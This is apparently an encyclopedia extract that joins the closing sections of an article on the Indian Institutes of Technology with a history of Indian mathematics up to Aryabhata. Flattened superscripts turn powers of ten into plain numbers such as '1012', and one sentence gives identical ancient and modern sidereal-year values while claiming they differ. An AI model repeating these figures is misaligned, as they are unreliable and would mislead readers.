          The IITs also offer an unconventional B.Tech. and M.Tech. integrated educational program called "Dual Degree". It integrates undergraduate and postgraduate studies in selected areas of specialisation. It is completed in five years as against six years in conventional B.Tech. (four years) followed by an M.Tech. (two years). This programme was started to allow IITians to complete postgraduate studies from IIT rather than having to go to another institute. All IITs (except IIT Guwahati) have schools of management offering degrees in management or business administration.


          


          Culture and student life
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          All the IITs provide on-campus residential facilities to the students, research scholars and faculty. The students live in hostels (sometimes referred to as halls) throughout their stay in the IIT. Students in all IITs must choose between National Cadet Corps (NCC), National Service Scheme (NSS) and National Sports Organisation (NSO) in their first years. All the IITs have sports grounds for cricket, football(soccer), hockey, volleyball, lawn tennis, badminton, and athletics; and swimming pools for aquatic events. Usually the hostels also have their own sports grounds.


          


          Technical and cultural festivals


          All IITs organise annual technical festivals, typically lasting three or four days. The technical festivals are Cognizance (IIT Roorkee), Shaastra (IIT Madras), Techkriti (IIT Kanpur), Kshitij (IIT Kharagpur), Techfest (IIT Bombay), Tryst (IIT Delhi), and Techniche (IIT Guwahati). Most of them are organised in the months of February or March. While Techfest is most popular in terms of participants and visitors involved, Shaastra holds the distinction of being the first student-managed event in the world to implement a formal Quality Management System, earning the ISO 9001:2000 certification.


          Annual cultural festivals are also organised by the IITs and last three to four days. These include Thomso (IIT Roorkee), Mood Indigo (IIT Bombay) (also known as Mood-I), Spring Fest (IIT Kharagpur) (also known as SF), Saarang (IIT Madras) (previously Mardi Gras), Antaragni (IIT Kanpur), Alcheringa (IIT Guwahati), and Rendezvous (IIT Delhi).
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          In addition to these cultural festivals, IIT Kharagpur and IIT Bombay celebrate unique festivals. IIT Kharagpur celebrates the Illumination festival on the eve of Diwali. Large bamboo structures (called chatais) as high as 6metres (20ft) are made and earthen lamps ( diyas) are placed on them to form outlines of people, monuments, or an event. Although the competition is held between hostels, it also receives entries by outside visitors. Coupled with the Illumination festival is the Rangoli festival. In Rangoli, large panels showing an event or a concept, are made on the ground by fine powder, and sometimes even by crushed bangles.


          Unique to IIT Bombay is the Performing Arts Festival (popularly known as PAF). Technically a drama, each PAF includes drama, literature, music, fine arts, debating, and dance. All PAFs are held in the Open Air Theatre (OAT), on the main campus of IIT Bombay. Typically two or three hostels (of 14) group together by random draw for each PAF. All of the dialogues are delivered as voice overs and not by the actors, mainly due to the structure and the huge size of the OAT.
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          Inter-IIT sports meet


          The IITs compete among themselves in a number of sports events held under the aegis of the Annual Inter-IIT Sports Meet. Started in 1961, the competition is held every December at an IIT chosen by rotation. The award consists of a running shield that is passed over to the winning IIT. The winner is decided based on the weighted sum of the points earned in various events held over a period of five days. Separate events for men and women are held and points are tallied separately for determining the final winner of the General Championship.


          The 12 events included in the Inter-IIT Sports are athletics, badminton, basketball, cricket, football, hockey, swimming, lawn and squash tennis, table tennis, volleyball, water polo and weightlifting. As swimming and water polo are played in water, which is usually cold in the month of December, the Inter-IIT Sports Meet for them is held in the first week of October, and is called Inter-IIT Aquatics Meet.


          


          Recognition


          The degrees provided by IITs are recognised by the AICTE and hence recognised by all institutions in India. Even outside India, IIT degrees are respected, largely due to the prestige of the IITs as created by their alumni. One of the contributing factors behind the success of IITs is the special status of the IITs as Institutes of National Importance under the Indian Institute of Technology Act. The IIT Act ensures that the IITs have special privileges and lays the foundation for them to evolve as world-class institutes. The autonomy ensured by the Act enables the IITs to implement changes quickly, to keep up with changing scenarios in both the educational world, and society in general. Student politics in IITs is kept under control with strict vigilance over the way student body elections are held. The IIT-JEE is another important factor behind the success of IITs, as it enables the IITs to accept only a select group of meritorious students. This combination of success factors has led to the concept of the IIT Brand. Other factors that have contributed to the success of IITs are stringent faculty recruitment procedures and industry collaboration. The procedure for selection of faculty in IITs is stricter as compared to other colleges offering similar degrees. The Ph.D. degree is a pre-requisite for all regular faculty appointments. The IITs have better interaction with various industries as compared to most other Indian colleges. The IITs are also considered highly successful institutions compared to other engineering colleges in India according to a number of educational surveys.


          The view that IIT graduates are intelligent and hardworking people has been established by the success of IITians. Former IIT students get greater respect from their peers, academia and industry in general. The IIT brand was reaffirmed when the United States House of Representatives passed a resolution honoring Indian Americans and especially graduates of IIT for their contributions to the American society. Similarly, China also recognised the value of IITs and planned to replicate the model.


          


          Educational rankings


          Most IITs are consistently ranked above other engineering colleges in India in engineering education surveys, with regard to quality of faculty, teaching standards, research facilities and campus placements. In international surveys, the IITs fail to achieve top rankings. The Times Higher Education Supplement (2007) did not rank the IITs in the top 200 world universities. The IITs performed better in the Technology category of rankings. IIT Bombay and IIT Delhi were ranked 33rd and 37th respectively in the Technology category. In the Shanghai Jiao Tong University's Academic Ranking of World Universities, only one IIT (IIT Kharagpur) was listed among the top 500 universities worldwide. The IITs fall short in many parameters that are considered for educational rankings. The criteria for ranking prominently include internationally recognised research output, in which the IITs do not achieve notable success. Another criterion being the Social Science Citation Index, the rank of IITs suffers as they do not have large departments of liberal arts and social sciences. Since the IITs have only a few international faculty and students (except those by exchange programs), the rankings of IITs in many international surveys have suffered. Since the IITs have scored better under most educational ranking criteria than other Indian colleges and universities, they continue to achieve top positions in nationwide surveys.


          [bookmark: .E2.80.98India_Today.E2.80.99_Best_Engineering_Schools_in_India_-_2007]


          Criticism


          The IITs have faced criticism from within and outside academia. Major concerns include allegations that they encourage a brain drain and that their stringent entrance examinations encourage coaching colleges and skew the socio-economic profile of the student body. Other critics are concerned at the insufficient representation of women and the disadvantaged. Another criticism of the IIT system is the research culture is not very good.


          


          Brain drain


          Among the criticisms of the IIT system by the media, academia and the people in general, the most prominent is that it encourages brain drain. Until the process of liberalisation started in early 1990s, India walted in large scale emigration of IITians to western countries, especially to the United States. Since 1953, nearly twenty-five thousand IITians have settled in the USA. Since the USA benefited from subsidised education in IITs at the cost of Indian taxpayers' money, critics say that subsidising education in IITs is useless. Others support the emigration of graduates, arguing that the capital sent home by the IITians has been a major source of the expansion of foreign exchange reserves for India, which, until the 1990s, had a substantial trade deficit.


          The extent of intellectual loss has receded substantially over the past decade, with the percentage of students going abroad dropping from as high as 70% to around 30% today. This is largely attributed to the liberalisation of the Indian economy and the opening of previously closed markets. Government initiatives are encouraging IIT students into entrepreneurship programs and are increasing foreign investment. Emerging scientific and manufacturing industries, and outsourcing of technical jobs from North America and Western Europe have created opportunities for aspiring graduates in India. Many undergraduates go abroad to pursue further studies, such as MS and PhD.


          


          Entrance competition


          The highly competitive examination in the form of IIT-JEE has led to establishment of a large number of coaching institutes throughout the country that provide intensive, and specific preparation for the IIT-JEE for substantial fees. It is argued that this favours students from specific regions and richer backgrounds. Some coaching institutes say that they have individually coached nearly 800 successful candidates year after year. According to some estimates, nearly 95% of all students who clear the IIT-JEE had joined coaching classes. The psychological stress and emotional trauma faced by candidates not able to pass the examination and their families is considered to be a serious problem. This has led to criticism of the way the examinations are conducted. The IIT-JEE format was restructured in 2006 following these complaints.


          After the change to the objective pattern of questioning, even the students who initially considered themselves not fit for subjective pattern of IIT-JEE decided to take the examination. Though the restructuring was meant to reduce the dependence of students on coaching classes, it led to an increase in students registering for coaching classes. Some people (mostly IITians) have criticised the changed pattern of the IIT-JEE. Their reasoning is that while IIT-JEE traditionally used to test students understanding of fundamentals and ability to apply them to solve large unseen problems, the current pattern does not stress much on the application part.


          
            Retrieved from " http://en.wikipedia.org/wiki/Indian_Institutes_of_Technology"
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          Indian mathematicswhich here is the mathematics that emerged in South Asia from ancient times until the end of the 18th centuryhad its beginnings in the Bronze Age Indus Valley civilization (2600-1900 BCE) and the Iron Age Vedic culture (1500-500 BCE). In the classical period of Indian mathematics ( 400 CE to 1200 CE), important contributions were made by scholars like Aryabhatta, Brahmagupta, and Bhaskara II. Indian mathematicians made early contributions to the study of the decimal number system, zero, negative numbers, arithmetic, and algebra. In addition, trigonometry, having evolved in the Hellenistic world and having been introduced into ancient India through the translation of Greek works, was further advanced in India, and, in particular, the modern definitions of sine and cosine were developed there. These mathematical concepts were transmitted to the Middle East, China, and Europe and led to further developments that now form the foundations of many areas of mathematics.


          Ancient and medieval Indian mathematical works, all composed in Sanskrit, usually consisted of a section of sutras in which a set of rules or problems were stated with great economy in verse in order to aid memorization by a student. This was followed by a second section consisting of a prose commentary (sometimes multiple commentaries by different scholars) that explained the problem in more detail and provided justification for the solution. In the prose section, the form (and therefore its memorization) was not considered as important as the ideas involved. All mathematical works were orally transmitted until approximately 500 BCE; thereafter, they were transmitted both orally and in manuscript form. The oldest extant mathematical document produced on the Indian subcontinent is the birch bark Bakhshali Manuscript, discovered in 1881 in the village of Bakhshali, near Peshawar (modern day Pakistan) and is likely from the seventh century CE.


          A later landmark in Indian mathematics was the development of the series expansions for trigonometric functions (sine, cosine, and arc tangent) by mathematicians of the Kerala School in the fifteenth century CE. Their remarkable work, completed two centuries before the invention of calculus in Europe, provided what is now considered the first example of a power series (apart from geometric series). However, they did not formulate a systematic theory of differentiation and integration, nor is there any direct evidence of their results being transmitted outside Kerala.


          


          Fields of Indian mathematics


          Some of the areas of mathematics studied in ancient and medieval India include the following:


          
            	Arithmetic: Decimal system, Negative numbers (see Brahmagupta), Zero (see Hindu-Arabic numeral system), the modern positional notation numeral system, Floating point numbers (see Kerala School), Number theory, Infinity (see Yajur Veda), Transfinite numbers, Irrational numbers (see Sulba Sutras)


            	Geometry: Square roots (see Bakhshali approximation), Cube roots (see Mahavira), Pythagorean triples (see Sulba Sutras; Baudhayana and Apastamba state the Pythagorean theorem without proof), Transformation (see Panini), Pascal's triangle (see Pingala)


            	Algebra: Quadratic equations (see Sulba Sutras, Aryabhata, and Brahmagupta), Cubic equations (see Mahavira and Bhaskara), Quartic equations (biquadratic equations; see Mahavira and Bhaskara)


            	Mathematical logic: Formal grammars, formal language theory, the Panini-Backus form (see Panini), Recursion (see Panini)


            	General mathematics: Fibonacci numbers (see Pingala), Earliest forms of Morse code (see Pingala), Logarithms, indices (see Jaina mathematics), Algorithms, Algorism (see Aryabhata and Brahmagupta)


            	Trigonometry: Trigonometric functions (see Surya Siddhanta and Aryabhata), Trigonometric series (see Madhava and Kerala School)

          


          Indian mathematics show many different ways of Indian culture.


          


          Harappan Mathematics (2600 BCE - 1700 BCE)


          The earliest evidence of the use of mathematics in South Asia is in the artifacts of the Indus Valley Civilization (IVC), also called the Harappan civilization. Excavations at Harappa, Mohenjo-daro(Pakistan) and other locations in the Indus river valley have uncovered evidence of the use of practical mathematics. The people of the IVC manufactured bricks whose dimensions were in the proportion 4:2:1, considered favorable for the stability of a brick structure. They used a standardized system of weights based on the ratios: 1/20, 1/10, 1/5, 1/2, 1, 2, 5, 10, 20, 50, 100, 200, and 500, with the unit weight equaling approximately 28 grams (and approximately equal to the English ounce or Greek uncia). They mass produced weights in regular geometrical shapes, which included hexahedra, barrels, cones, and cylinders, thereby demonstrating knowledge of basic geometry.


          The inhabitants of Indus civilization also tried to standardize measurement of length to a high degree of accuracy. They designed a rulerthe Mohenjo-daro rulerwhose unit of length (approximately 1.32 inches or 3.4 centimetres) was divided into ten equal parts. Bricks manufactured in ancient Mohenjo-daro often had dimensions that were integral multiples of this unit of length.


          


          The Oral Mathematical Tradition


          Mathematicians of ancient and early medieval India were almost all Sanskrit pandits (paṇḍita "learned man"), who were trained in Sanskrit language and literature, and possessed "a common stock of knowledge in grammar ( vyākaraṇa), exegesis ( mīmāṃsā) and logic ( nyāya)." Memorization of "what is heard" ( śruti in Sanskrit) through recitation played a major role in the transmission of sacred texts in ancient India. Memorization and recitation was also used to transmit philosophical and literary works, as well as treatises on ritual and grammar. Modern scholars of ancient India have noted the "truly remarkable achievements of the Indian pandits who have preserved enormously bulky texts orally for millennia."


          


          Styles of Memorization


          Prodigous energy was expended by ancient Indian culture in ensuring that these texts were transmitted from generation to generation with inordinate fidelity. For example, memorization of the sacred Vedas included up to eleven forms of recitation of the same text. The texts were subsequently "proof-read" by comparing the different recited versions. Forms of recitation included the jaṭā-pāṭha (literally "mesh recitation") in which every two adjacent words in the text were first recited in their original order, then repeated in the reverse order, and finally repeated again in the original order. The recitation thus proceeded as:


          
            word1word2, word2word1, word1word2; word2word3, word3word2, word2word3; ...
          


          In another form of recitation, dvaja-pāṭha (literally "flag recitation") a sequence of N words were recited (and memorized) by pairing the first two and last two words and then proceeding as:


          
            word1word2, word(N-1)wordN; word2word3, word(N-3)word(N-2); ...; word(N-1)wordN, word1word2;
          


          The most complex form of recitation, ghana-pāṭha (literally "dense recitation"), according to (Filliozat 2004, p.139), took the form:


          
            word1word2, word2word1, word1word2word3, word3word2word1, word1word2word3; word2word3, word3word2, word2word3word4, word4word3word2, word2word3word4; ...
          


          That these methods have been effective, is testified to by the preservation of the most ancient Indian religious text, the Ṛgveda ( ca. 1500 BCE), as a single text, without any variant readings. Similar methods were used for memorizing mathematical texts, whose transmission remained exclusively oral until the end of the Vedic period (ca. 500 BCE).


          


          The Sūtra Genre


          Mathematical activity in ancient India began as a part of a "methodological reflexion" on the sacred Vedas, which took the form of works called Vedāṇgas, or, "Ancillaries of the Veda" (7th-4th century BCE). The need to conserve the sound of sacred text by use of śikṣā ( phonetics) and chandas ( metrics); to conserve its meaning by use of vyākaraṇa ( grammar) and nirukta ( etymology); and to correctly perform the rites at the correct time by the use of kalpa ( ritual) and jyotiṣa (astronomy), gave rise to the six disciplines of the Vedāṇgas. Mathematics arose as a part of the last two disciplines, ritual and astronomy (which also included astrology). Since the Vedāṇgas immediately preceded the use of writing in ancient India, they formed the last of the exclusively oral literature. They were expressed in a highly compressed mnemonic form, the sūtra (literally, "thread"):


          
            The knowers of the sūtra know it as having few phonemes, being devoid of ambiguity, containing the essence, facing everything, being without pause and unobjectionable.

          


          Extreme brevity was achieved through multiple means, which included using ellipsis "beyond the tolerance of natural language," using technical names instead of longer descriptive names, abridging lists by only mentioning the first and last entries, and using markers and variables. The sūtras create the impression that communication through the text was "only a part of the whole instruction. The rest of the instruction must have been transmitted by the so-called Guru-shishya parampara, 'uninterrupted succession from teacher (guru) to the student (śisya),' and it was not open to the general public" and perhaps even kept secret. The brevity achieved in a sūtra is demonstrated in the following example from the Baudhāyana Śulba Sūtra (700 BCE).
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          The domestic fire-altar in the Vedic period was required by ritual to have a square base and be constituted of five layers of bricks with 21 bricks in each layer. One method of constructing the altar was to divide one side of the square into three equal parts using a cord or rope, to next divide the transverse (or perpendicular) side into seven equal parts, and thereby sub-divide the square into 21 congruent rectangles. The bricks were then designed to be of the shape of the constituent rectangle and the layer was created. To form the next layer, the same formula was used, but the bricks were arranged transversely. The process was then repeated three more times (with alternating directions) in order to complete the construction. In the Baudhāyana Śulba Sūtra, this procedure is described in the following words:


          
            "II.64. After dividing the quadri-lateral in seven, one divides the transverse [cord] in three.

            II.65. In another layer one places the [bricks] North-pointing."

          


          According to (Filliozat 2004, p.144), the officiant constructing the altar has only a few tools and materials at his disposal: a cord (Sanskrit, rajju, f.), two pegs (Sanskrit, śanku, m.), and clay to make the bricks (Sanskrit, iṣṭakā, f.). Concision is achieved in the sūtra, by not explicitly mentioning what the adjective "transverse" qualifies; however, from the feminine form of the (Sanskrit) adjective used, it is easily inferred to qualify "cord." Similarly, in the second stanza, "bricks" are not explicitly mentioned, but inferred again by the feminine plural form of "North-pointing." Finally, the first stanza, never explicitly says that the first layer of bricks are oriented in the East-West direction, but that too is implied by the explicit mention of "North-pointing" in the second stanza; for, if the orientation was meant to be the same in the two layers, it would either not be mentioned at all or be only mentioned in the first stanza. All these inferences are made by the officiant as he recalls the formula from his memory.


          


          Vedic Period (1500 BCE - 400 BCE)


          The religious texts of the Vedic Period provide evidence for the use of large numbers. By the time of the last Veda, the Yajurvedasaṃhitā (1200-900 BCE), numbers as high as 1012 were being included in the texts. For example, the mantra (sacrificial formula) at the end of the annahoma ("food-oblation rite") performed during the aśvamedha ("horse sacrifice"), and uttered just before-, during-, and just after sunrise, invokes powers of ten from a hundred to a trillion:


          
            "Hail to śata ("hundred," 102), hail to sahasra ("thousand," 103), hail to ayuta ("ten thousand," 104), hail to niyuta ("hundred thousand," 104), hail to prayuta ("million," 106), hail to arbuda ("ten million," 107), hail to nyarbuda ("hundred million," 108), hail to samudra ("billion," 109, literally "ocean"), hail to madhya ("ten billion," 1010, literally "middle"), hail to anta ("hundred billion," 1011, lit., "end"), hail to parārdha ("one trillion," 1012 lit., "beyond parts"), hail to the dawn (uśas), hail to the twilight (vyuṣṭi), hail to the one which is going to rise (udeṣyat), hail to the one which is rising (udyat), hail to the one which has just risen (udita), hail to the heaven (svarga), hail to the world (loka), hail to all."

          


          The Satapatha Brahmana (9th century BCE) contains rules for ritual geometric constructions that are similar to the Sulba Sutras. [bookmark: .C5.9Aulba_S.C5.ABtras]


          Śulba Sūtras


          The Śulba Sūtras (literally, "Aphorisms of the Chords" in Vedic Sanskrit) (c. 700-400 BCE) list rules for the construction of sacrificial fire altars. Most mathematical problems considered in the Śulba Sūtras spring from "a single theological requirement," that of constructing fire altars which have different shapes but occupy the same area. The altars were required to be constructed of five layers of burnt brick, with the further condition that each layer consist of 200 bricks and that no two adjacent layers have congruent arrangements of bricks.


          According to (Hayashi 2005, p.363), the Śulba Sūtras contain "the earliest extant verbal expression of the Pythagorean Theorem in the world, although it had already been known to the Old Babylonians."


          
            The diagonal rope (akṣṇayā-rajju) of an oblong (rectangle) produces both which the flank (pārśvamāni) and the horizontal (tiryaṇmānī) <ropes> produce separately."

          


          Since the statement is a sūtra, it is necessarily compressed and what the ropes produce is not elaborated on, but the context clearly implies the square areas constructed on their lengths, and would have been explained so by the teacher to the student.


          They contain lists of Pythagorean triples, which are particular cases of Diophantine equations. They also contain statements (that with hindsight we know to be approximate) about squaring the circle and "circling the square."


          Baudhayana (c. 8th century BCE) composed the Baudhayana Sulba Sutra, the best-known Sulba Sutra, which contains examples of simple Pythagorean triples, such as: (3,4,5), (5,12,13), (8,15,17), (7,24,25), and (12,35,37) as well as a statement of the Pythagorean theorem for the sides of a square: "The rope which is stretched across the diagonal of a square produces an area double the size of the original square." It also contains the general statement of the Pythagorean theorem (for the sides of a rectangle): "The rope stretched along the length of the diagonal of a rectangle makes an area which the vertical and horizontal sides make together." Baudhayana gives a formula for the square root of two,


          
            	
              
                	[image: \sqrt{2} = 1 + \frac{1}{3} + \frac{1}{3\cdot4} - \frac{1}{3\cdot 4\cdot 34} \approx 1.4142156 \cdots]

              

            

          


          The formula is accurate up to five decimal places, the true value being [image: 1.41421356 \cdots ] This formula is similar in structure to the formula found on a Mesopotamian tablet from the Old Babylonian period (1900-1600 BCE):


          
            	
              
                	
                  
                    	[image: \sqrt{2} = 1 + \frac{24}{60} + \frac{51}{60^2} + \frac{10}{60^3} = 1.41421297.]

                  

                

              

            

          


          which expresses [image: \sqrt{2}] in the sexagesimal system, and which too is accurate up to 5 decimal places (after rounding).


          According to mathematician S. G. Dani, the Babylonian cuneiform tablet Plimpton 322 written ca. 1850 BCE "contains fifteen Pythagorean triples with quite large entries, including (13500, 12709, 18541) which is a primitive triple, indicating, in particular, that there was sophisticated understanding on the topic" in Mesopotamia in 1850 BCE. "Since these tablets predate the Sulbasutras period by several centuries, taking into account the contextual appearance of some of the triples, it is reasonable to expect that similar understanding would have been there in India." Dani goes on to say:


          
            "As the main objective of the Sulvasutras was to describe the constructions of altars and the geometric principles involved in them, the subject of Pythagorean triples, even if it had been well understood may still not have featured in the Sulvasutras. The occurrence of the triples in the Sulvasutras is comparable to mathematics that one may encounter in an introductory book on architecture or another similar applied area, and would not correspond directly to the overall knowledge on the topic at that time. Since, unfortunately, no other contemporaneous sources have been found it may never be possible to settle this issue satisfactorily."

          


          In all three Sulba Sutras were composed. The remaining two, the Manava Sulba Sutra composed by Manava (fl. 750-650 BCE) and the Apastamba Sulba Sutra, composed by Apastamba (c. 600 BCE), contained results similar to the Baudhayana Sulba Sutra.


          
            	Vyakarana

          


          An important landmark of the Vedic period was the work of Sanskrit grammarian, Pāṇini (c. 520-460 BCE). His grammar includes early use of Boolean logic, of the null operator, and of context free grammars, and includes a precursor of the BackusNaur form (used in the description programming languages).


          


          Jaina Mathematics (400 BCE - 200 CE)


          Although Jainism as a religion and philosophy predates its most famous exponent, Mahavira ( 6th century BC), who was a contemporary of Gautama Buddha, most Jaina texts on mathematical topcs were composed after the 6th century BCE. Jaina mathematicians are important historically as crucial links between the mathematics of the Vedic period and that of the "Classical period."


          A significant historical contribution of Jaina mathematicians lay in their freeing Indian mathematics from its religious and ritualistic constraints. In particular, their fascination with the enumeration of very large numbers and infinities, led them to classify numbers into three classes: enumerable, innumerable and infinite. Not content with a simple notion of infinity, they went on to define five different types of infinity: the infinite in one direction, the infinite in two directions, the infinite in area, the infinite everywhere, and the infinite perpetually. In addition, Jaina mathematicians devised notations for simple powers (and exponents) of numbers like squares and cubes, which enabled them to define simple algebraic equations (beezganit samikaran). Jaina mathematicians were apparently also the first to use the word shunya (literally void in Sanskrit) to refer to zero. More than a millennium later, their appellation became the English word "zero" after a tortuous journey of translations and transliterations from India to Europe . (See Zero: Etymology.)


          In addition to Surya Prajnapti, important Jaina works on mathematics included the Vaishali Ganit (c. 3rd century BCE); the Sthananga Sutra (fl. 300 BCE - 200 CE); the Anoyogdwar Sutra (fl. 200 BCE - 100 CE); and the Satkhandagama (c. 2nd century CE). Important Jaina mathematicians included Bhadrabahu (d. 298 BCE), the author of two astronomical works, the Bhadrabahavi-Samhita and a commentary on the Surya Prajinapti; Yativrisham Acharya (c. 176 BCE), who authored a mathematical text called Tiloyapannati; and Umasvati (c. 150 BCE), who, although better known for his influential writings on Jaina philosophy and metaphysics, composed a mathematical work called Tattwarthadhigama-Sutra Bhashya.


          
            	Pingala

          


          Among other scholars of this period who contributed to mathematics, the most notable is Pingala (piṅgal) ( fl. 300-200 BCE), a musical theorist who authored the Chandas Shastra (chandaḥ-śāstra, also Chandas Sutra chandaḥ-sūtra), a Sanskrit treatise on prosody. There is evidence that in his work on the enumeration of syllabic combinations, Pingala stumbled upon both the Pascal triangle and Binomial coefficients, although he did not have knowledge of the Binomial theorem itself. Pingala's work also contains the basic ideas of Fibonacci numbers (called maatraameru). Although the Chandah sutra hasn't survived in its entirety, a 10th century commentary on it by Halāyudha has. Halāyudha, who refers to the Pascal triangle as Meru-prastāra (literally "the staircase to Mount Meru"), has this to say:


          
            "Draw a square. Beginning at half the square, draw two other similar squares below it; below these two, three other squares, and so on. The marking should be started by putting 1 in the first square. Put 1 in each of the two squares of the second line. In the third line put 1 in the two squares at the ends and, in the middle square, the sum of the digits in the two squares lying above it. In the fourth line put 1 in the two squares at the ends. In the middle ones put the sum of the digits in the two squares above each. Proceed in this way. Of these lines, the second gives the combinations with one syllable, the third the combinations with two syllables, ..."

          


          The text also indicates that Pingala was aware of the combinatorial identity:


          [image:  {n \choose 0} + {n \choose 1} + {n \choose 2} + \cdots + {n \choose n-1} + {n \choose n} = 2^n ]


          
            	Katyayana

          


          Though not a Jaina mathematician, Katyayana (c. 3rd century BCE) is notable for being the last of the Vedic mathematicians. He wrote the Katyayana Sulba Sutra, which presented much geometry, including the general Pythagorean theorem and a computation of the square root of 2 correct to five decimal places.


          


          The Written Tradition: Prose Commentary


          With the increasing complexity of mathematics and other exact sciences, both writing and computation were required. Consequently, many mathematical works began to be written down in manuscripts that were then copied and re-copied from generation to generation.


          
            "India today is estimated to have about thirty million manuscripts, the largest body of handwritten reading material anywhere in the world. The literate culture of Indian science goes back to at least the fifth century B.C. ... as is shown by the elements of Mesopotamian omen literature and astronomy that entered India at that time and (were) definitely not ... preserved orally."

          


          The earliest mathematical prose commentary was that on the work, Āryabhaṭīya (written 499 CE), a work on astronomy and mathematics. The mathematical portion of the Āryabhaṭīya was composed of 33 sūtras (in verse form) consisting of mathematical statements or rules, but without any proofs. However, according to (Hayashi 2003, p.123), "this does not necessarily mean that their authors did not prove them. It was probably a matter of style of exposition." From the time of Bhaskara I (600 CE onwards), prose commentaries increasingly began to include some derivations (upapatti). Bhaskara I's commentary on the Āryabhaṭīya, had the following structure:


          
            	Rule ('sūtra') in verse by Āryabhaṭa


            	
              Commentary by Bhāskara I, consisting of:

              
                	Elucidation of rule (derivations were still rare then, but became more common later)


                	Example (uddeśaka) usually in verse.


                	Setting (nyāsa/sthāpanā) of the numerical data.


                	Working (karana) of the solution.


                	Verification (pratyayakaraṇa, literally "to make conviction") of the answer. These became rare by the 13th century, derivations or proofs being favored by then.

              

            

          


          Typically, for any mathematical topic, students in ancient India first memorized the sūtras, which, as explained earlier, were "deliberately inadequate" in explanatory details (in order to pithily convey the bare-bone mathematical rules). The students then worked through the topics of the prose commentary by writing (and drawing diagrams) on chalk- and dust-boards (i.e. boards covered with dust). The latter activity, a staple of mathematical work, was to later prompt mathematician-astronomer, Brahmagupta ( fl. 7th century CE), to characterize astronomical computations as "dust work" (Sanskrit: dhulikarman).


          


          Numerals and the Decimal Number System


          The earliest extant script used in India was the Kharoṣṭhī script used in the Gandhara culture of the north-west. It is thought to be of Aramaic origin and it was in use from the fourth century BCE to the fourth century CE. Almost contemporaneously, another script, the Brahmi, appeared on much of the sub-continent, and would later become the foundation of many scripts of South Asia and South-east Asia. Both scripts had numeral symbols and numeral systems, which were initially not based on a place-value system. The first datable evidence of the use of the decimal place-value system in India is found in the Yavanajātaka ( ca. 270 CE) of Sphujidhvaja, a versification of an earlier (ca. 150 CE) Indian prose adaptation of a lost work of Hellenistic astrology.


          


          Bakhshali Manuscript


          The oldest extant mathematical manuscript in South Asia is the Bakhshali Manuscript, a birch bark manuscript written in "Buddhist hybrid Sanskrit" in the Śāradā script, which was used in the northwestern region of the Indian subcontinent between the 8th and 12th centuries CE. The manuscript was discovered in 1881 by a farmer while digging in a stone enclosure in the village of Bakhshali, near Peshawar (then in British India and now in Pakistan). Of unknown authorship and now preserved in the Bodleian Library in Oxford University, the manuscript has been variously datedas early as the "early centuries of the Christian era" and as late as between the 9th and 12th century CE. The 7th century CE is now considered a plausible date, albeit with the likelihood that the "manuscript in its present-day form constitutes a commentary or a copy of an anterior mathematical work."


          The surviving manuscript has seventy leaves, some of which are in fragments. Its mathematical content consists of rules and examples, written in verse, together with prose commentaries, which include solutions to the examples. The topics treated include arithmetic (fractions, square roots, profit and loss, simple interest, the rule of three, and regula falsi) and algebra (simultaneous linear equations and quadratic equations), and arithmetic progressions. In addition, there is a handful of geometric problems (including problems about volumes of irregular solids). The Bakhshali manuscript also "employs a decimal place value system with a dot for zero." Many of its problems are the so-called equalization problems that lead to systems of linear equations. One example from Fragment III-5-3v is the following:


          
            "One merchant has seven asava horses, a second has nine haya horses, and a third has ten camels. They are equally well off in the value of their animals if each gives two animals, one to each of the others. Find the price of each animal and the total value for the animals possessed by each merchant."

          


          The prose commentary accompanying the example solves the problem by converting it to three (under-determined) equations in four unknowns and assuming that the prices are all integers.


          


          Classical Period (400 - 1200)


          This period is often known as the golden age of Indian Mathematics. This period saw mathematicians such as Aryabhata, Varahamihira, Brahmagupta, Bhaskara I, Mahavira, and Bhaskara II give broader and clearer shape to many branches of mathematics. Their contributions would spread to Asia, the Middle East, and eventually to Europe. Unlike Vedic mathematics, their works included both astronomical and mathematical contributions. In fact, mathematics of that period was included in the 'astral science' (jyotiḥśāstra) and consisted of three sub-disciplines: mathematical sciences (gaṇita or tantra), horoscope astrology (horā or jātaka) and divination (saṃhitā). This tripartite division is seen in Varāhamihira's sixth century compilationPancasiddhantika (literally panca, "five," siddhānta, "conclusion of deliberation", dated 575 CE)of five earlier works, Surya Siddhanta, Romaka Siddhanta, Paulisa Siddhanta, Vasishtha Siddhanta and Paitamaha Siddhanta, which were adaptations of still earlier works of Mesopotamian, Greek, Egyptian, Roman and Indian astronomy. As explained earlier, the main texts were composed in Sanskrit verse, and were followed by prose commentaries.


          


          Fifth and Sixth Centuries


          
            	Surya Siddhanta

          


          Though its authorship is unknown, the Surya Siddhanta (c. 400) contains the roots of modern trigonometry. Some authors consider that its was written under influence of Mesopotamia and Greece. But according Flavius Filostratus records Pythagoras in 5th century BC and Apollonius of Tyana in the 1st century CE went to study in India.Furthermore there is no hard evidence to prove that Greek mathematicians had strong influence on Greek astronomy.


          This ancient text uses the following as trigonometric functions for the first time:


          
            	Sine (Jya).


            	Cosine (Kojya).


            	Inverse sine (Otkram jya).

          


          It also contains the earliest uses of:


          
            	Tangent.


            	Secant.

          


          
            	The Hindu cosmological time cycles explained in the text, which was copied from an earlier work, gives:

              
                	The average length of the sidereal year as 365.2563627 days, which is only 1.4 seconds longer than the modern value of 365.2563627 days.


                	The average length of the tropical year as 365.2421756 days, which is only 2 seconds shorter than the modern value of 365.2421988 days.

              

            

          


          Later Indian mathematicians such as Aryabhata made references to this text, while later Arabic and Latin translations were very influential in Europe and the Middle East.


          
            	Chhedi calendar

          


          This Chhedi calendar (594) contains an early use of the modern place-value Hindu-Arabic numeral system now used universally (see also Hindu-Arabic numerals).


          
            	Aryabhata I

          


          Aryabhata (476-550) wrote the Aryabhatiya. He described the important fundamental principles of mathematics in 332 shlokas. The treatise contained:


          
            	Quadratic equations


            	Trigonometry


            	The value of , correct to 4 decimal places.

          


          Aryabhata also wrote the Arya Siddhanta, which is now lost. Aryabhata's contributions include:


          Trigonometry:


          
            	Introduced the trigonometric functions.


            	Defined the sine (jya) as the modern relationship between half an angle and half a chord.


            	Defined the cosine (kojya).


            	Defined the versine (ukramajya).


            	Defined the inverse sine (otkram jya).


            	Gave methods of calculating their approximate numerical values.


            	Contains the earliest tables of sine, cosine and versine values, in 3.75 intervals from 0 to 90, to 4 decimal places of accuracy.


            	Contains the trigonometric formula sin (n + 1) x - sin nx = sin nx - sin (n - 1) x - (1/225)sin nx.


            	Spherical trigonometry.

          


          Arithmetic:


          
            	Continued fractions.

          


          Algebra:


          
            	Solutions of simultaneous quadratic equations.


            	Whole number solutions of linear equations by a method equivalent to the modern method.


            	General solution of the indeterminate linear equation .

          
